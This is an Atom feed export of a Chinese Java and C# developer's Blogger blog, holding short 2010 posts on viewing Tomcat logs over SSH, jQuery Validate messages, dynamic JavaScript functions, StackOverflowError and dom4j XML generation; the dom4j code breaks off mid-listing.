<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7090138233354235749</id><updated>2011-07-08T20:14:34.246+08:00</updated><category term='Python'/><category term='小故事大智慧'/><category term='Struts'/><category term='Àà±ð£ºÑ§Ï°java'/><category term='心情'/><category term='学习java'/><category term='常用软件'/><category term='Àà±ð£ºÓéÀÖ'/><category term='Blogger'/><category term='Oracle'/><category term='Google App Engine'/><category term='Mystudy'/><category term='Àà±ð£ºc# .net'/><category term='Àà±ð£ºJs'/><category term='Àà±ð£ºMystudy'/><category term='杀毒'/><category term='Àà±ð£ºMyjob'/><category term='Sqlserver'/><category term='Gwt'/><category term='组织'/><category term='Àà±ð£ºStruts'/><category term='图片'/><category term='Baby'/><category term='c# .net'/><category term='Live'/><category term='Myjob'/><category term='Linux'/><category term='Eclipse'/><category term='Js'/><category term='Php'/><category term='娱乐'/><category term='Àà±ð£ºÐÄÇé'/><category term='Blog'/><title type='text'>spring liu java C#.net 代码民工</title><subtitle type='html'>靠堆砌java C#.net代码为生的民工</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default?start-index=101&amp;max-results=100'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>455</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4056876137015474163</id><published>2010-08-12T14:11:00.000+08:00</published><updated>2010-08-13T11:21:58.711+08:00</updated><title type='text'>Auto Draft</title><content type='html'>&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4056876137015474163?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4056876137015474163/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/08/auto-draft_12.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4056876137015474163'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4056876137015474163'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/08/auto-draft_12.html' title='Auto Draft'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-1634207832571881004</id><published>2010-08-12T14:05:00.000+08:00</published><updated>2010-08-13T11:21:58.700+08:00</updated><title type='text'>Auto Draft</title><content type='html'>&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-1634207832571881004?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/1634207832571881004/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/08/auto-draft.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1634207832571881004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1634207832571881004'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/08/auto-draft.html' title='Auto Draft'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3350468777187774612</id><published>2010-07-30T18:58:00.000+08:00</published><updated>2010-08-13T11:22:03.662+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>ssh远程登陆tomcat</title><content type='html'>&lt;p&gt;&lt;span style="widows:2;text-transform:none;text-indent:0;border-collapse:separate;font:medium Simsun;white-space:normal;orphans:2;letter-spacing:normal;color:rgb(0,0,0);word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="text-align:left;line-height:18px;font-size:12px;" class="Apple-style-span"&gt;用ssh远程登陆客户端登陆linux&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;进入tomcat/logs/文件夹下&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;键入指令：tail -f catalina.out&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&lt;span style="widows:2;text-transform:none;text-indent:0;border-collapse:separate;font:medium Simsun;white-space:normal;orphans:2;letter-spacing:normal;color:rgb(0,0,0);word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="text-align:left;line-height:18px;font-size:12px;" class="Apple-style-span"&gt; 退出:&lt;span style="widows:2;text-transform:none;text-indent:0;border-collapse:separate;font:medium Simsun;white-space:normal;orphans:2;letter-spacing:normal;color:rgb(0,0,0);word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="line-height:25px;color:rgb(255,0,0);font-size:14px;" class="Apple-style-span"&gt;Control-Z&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3350468777187774612?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3350468777187774612/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/07/sshtomcat.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3350468777187774612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3350468777187774612'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/07/sshtomcat.html' title='ssh远程登陆tomcat'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-7094945727575018017</id><published>2010-07-30T00:38:00.000+08:00</published><updated>2010-08-13T11:22:03.672+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Js'/><title type='text'>jquery validate自带验证</title><content type='html'>&lt;span style="widows:2;text-transform:none;text-indent:0;border-collapse:separate;font:medium Simsun;white-space:normal;orphans:2;letter-spacing:normal;color:rgb(0,0,0);word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="text-align:left;line-height:21px;color:rgb(50,62,50);font-size:14px;" class="Apple-style-span"&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;p style="line-height:21px;list-style-type:none;word-wrap:normal;border-width:0;margin:0 0 5px;padding:0;"&gt;validate自带的默认验证&lt;/p&gt;&lt;br/&gt;&lt;p style="line-height:21px;list-style-type:none;word-wrap:normal;border-width:0;margin:0 0 5px;padding:0;"&gt;       &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;required: &amp;quot;必选字段&amp;quot;,&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;remote: &amp;quot;请修正该字段&amp;quot;,&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;email: &amp;quot;请输入正确格式的电子邮件&amp;quot;,&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;url: &amp;quot;请输入合法的网址&amp;quot;,&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;date: &amp;quot;请输入合法的日期&amp;quot;,&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;dateISO: &amp;quot;请输入合法的日期 (ISO).&amp;quot;,&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;number: &amp;quot;请输入合法的数字&amp;quot;,&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;digits: &amp;quot;只能输入整数&amp;quot;,&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;creditcard: &amp;quot;请输入合法的信用卡号&amp;quot;,&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;equalTo: &amp;quot;请再次输入相同的值&amp;quot;,&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;accept: &amp;quot;请输入拥有合法后缀名的字符串&amp;quot;,&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;maxlength: jQuery.format(&amp;quot;请输入一个长度最多是 {0} 的字符串&amp;quot;),&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;minlength: jQuery.format(&amp;quot;请输入一个长度最少是 {0} 的字符串&amp;quot;),&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;rangelength: jQuery.format(&amp;quot;请输入一个长度介于 {0} 和 {1} 之间的字符串&amp;quot;),&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;range: jQuery.format(&amp;quot;请输入一个介于 {0} 和 {1} 之间的值&amp;quot;),&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;max: jQuery.format(&amp;quot;请输入一个最大为 {0} 的值&amp;quot;),&lt;br style="margin:0;padding:0;" /&gt;&lt;br/&gt;  &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;   &lt;span class="Apple-converted-space"&gt; &lt;/span&gt;min: jQuery.format(&amp;quot;请输入一个最小为 {0} 的值&amp;quot;)&lt;/p&gt;&lt;br/&gt;http://bluefuture.javaeye.com/blog/668196&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-7094945727575018017?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/7094945727575018017/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/07/jquery-validate.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7094945727575018017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7094945727575018017'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/07/jquery-validate.html' title='jquery validate自带验证'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-2514766493541984707</id><published>2010-07-26T17:26:00.000+08:00</published><updated>2010-08-13T11:22:03.683+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Js'/><title type='text'>javascript 动态创建function</title><content type='html'>&amp;#160;        var cellfuncs = new Array();&lt;br/&gt;for(var i = 0;i &amp;lt; selectedArrayLength;i++){ &lt;br/&gt;var fun = new Function(&amp;quot;data&amp;quot;,&amp;quot;return data[&amp;quot;+i+&amp;quot;]&amp;quot;);&lt;br/&gt;cellfuncs = cellfuncs.concat(fun); &lt;br/&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-2514766493541984707?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/2514766493541984707/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/07/javascript-function.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2514766493541984707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2514766493541984707'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/07/javascript-function.html' title='javascript 动态创建function'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-7039088508095639345</id><published>2010-07-09T01:21:00.000+08:00</published><updated>2010-08-13T11:22:03.690+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>java.lang.StackOverflowError</title><content type='html'>java.lang.StackOverflowError&lt;br/&gt;堆栈溢出错误。当一个应用递归调用的层次太深而导致堆栈溢出时抛出该错误。&lt;br/&gt;&lt;br/&gt;99%递归没有出口，查吧&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-7039088508095639345?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/7039088508095639345/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/07/javalangstackoverflowerror.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7039088508095639345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7039088508095639345'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/07/javalangstackoverflowerror.html' title='java.lang.StackOverflowError'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5406905690937763918</id><published>2010-06-30T18:32:00.000+08:00</published><updated>2010-08-13T11:22:03.699+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>用dom4j生成xml</title><content type='html'>&lt;div style="background-color:rgb(249,247,237);"&gt;&lt;br/&gt;&lt;div style="background:none repeat scroll 0 0 rgb(253,253,253);color:black;"&gt;&lt;u&gt;&lt;br/&gt;&lt;/u&gt;&lt;/div&gt;&lt;br/&gt;&lt;div class="source" style="background-color:rgb(249,247,237);"&gt;&lt;span style="color:rgb(0,128,0);"&gt;01&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;import&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;java.io.File&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;02&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;import&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;java.io.FileOutputStream&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;03&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;import&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;java.io.IOException&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;04&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;05&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;import&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;org.dom4j.Document&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;06&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;import&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;org.dom4j.DocumentHelper&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;07&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;import&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;org.dom4j.Element&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;08&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;import&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;org.dom4j.io.OutputFormat&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;09&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;import&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;org.dom4j.io.XMLWriter&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;10&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;11&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;12&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;public&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;class&lt;/span&gt; &lt;span style="color:rgb(43,145,175);"&gt;SoaToXML&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;13&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;14&lt;/span&gt;  &amp;#160;&amp;#160; &lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;15&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;public&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;static&lt;/span&gt; &lt;span style="color:rgb(43,145,175);"&gt;void&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;execute&lt;/span&gt;(&lt;span style="color:rgb(43,145,175);"&gt;int&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;userType&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt;&lt;span style="color:rgb(43,145,175);"&gt;int&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;bianhao&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;){&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;16&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;Document&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;document&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;DocumentHelper&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;createDocument&lt;/span&gt;();&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;17&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;document&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;setXMLEncoding&lt;/span&gt;(&lt;span style="color:rgb(163,21,21);"&gt;&amp;quot;utf-8&amp;quot;&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;18&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;Element&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;root&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;document&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;addElement&lt;/span&gt;(&lt;span style="color:rgb(163,21,21);"&gt;&amp;quot;condition&amp;quot;&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;19&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;root&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;addElement&lt;/span&gt;(&lt;span style="color:rgb(163,21,21);"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;).&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;setText&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;String&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;valueOf&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;userType&lt;/span&gt;));&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;20&lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;root&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;addElement&lt;/span&gt;(&lt;span style="color:rgb(163,21,21);"&gt;&amp;quot;bianhao&amp;quot;&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;).&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;setText&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;String&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;valueOf&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;bianhao&lt;/span&gt;));&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;21&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;String&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;text&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;document&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;asXML&lt;/span&gt;();&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;22&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;printTest&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;text&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;23&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;String&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;path&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt;&lt;span style="color:rgb(163,21,21);"&gt;&amp;quot;soa_to_xml.xml&amp;quot;&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;24&lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;if&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;writeFile&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;document&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;path&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;)){&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;25&lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;printTest&lt;/span&gt;(&lt;span style="color:rgb(163,21,21);"&gt;&amp;quot;生成xml成功&amp;quot;&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;26&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;span style="color:rgb(0,0,255);"&gt;else&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;27&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;printTest&lt;/span&gt;(&lt;span style="color:rgb(163,21,21);"&gt;&amp;quot;生成xml出错&amp;quot;&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;28&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;29&lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;30&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;public&lt;/span&gt; &lt;span 